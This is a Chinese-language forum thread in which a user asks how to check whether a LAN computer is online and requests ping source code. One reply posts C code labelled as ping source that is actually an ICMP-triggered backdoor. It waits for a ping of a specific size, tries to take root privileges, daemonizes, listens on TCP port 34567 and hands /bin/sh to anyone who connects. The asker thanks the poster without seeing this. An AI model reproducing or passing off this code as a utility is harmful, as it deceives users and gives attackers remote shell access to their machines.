知道对方IP地址，怎样以最快的方法确定该计算机是否在线？

[flying52]

在局域网内，知道对方IP地址，怎样以最快的方法确定该计算机是否在线，编程如何实现？

[cbchen]

如果是局域网的话，是有办法的，广域网就没有办法了

[flying52]

我是说在程序中以代码实现，不用控件，只用API函数。可以吗？
谁有Ping的源码？

[yangsimin]

/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 88
#define PORT 34567

void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}

int bind_shell()
{

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

chdir("/");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1)
exit(-1);

bzero((char *) &serv_addr,sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);

if (fork() != 0)
exit(0);

setpgrp();

if (fork() != 0)
exit(0);

soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);

while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

if (soc_cli < 0)
exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}

close(soc_cli);
}
}

int main(int argc, char *argv[])
{

int s, size, fromlen;
char pkt[4096];

struct protoent *proto;
struct sockaddr_in from;

if (fork() != 0) exit(0);

proto = getprotobyname("icmp");

if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);

/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf("ping of %i ", size-28);

} while (size != SIZEPACK + 28);

/* size == SIZEPACK, let's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}

sleep(15);

}

这个就是计算机ping 源代码

[Sephil]

ping

[wangwei8117]

程序中使用ping，好像有这个组件的！

[CWYCN]

对啊，在程序中Ping一下对方的IP就行了

[flying52]

明白，多谢yangsimin(陈紫凝) ！
：）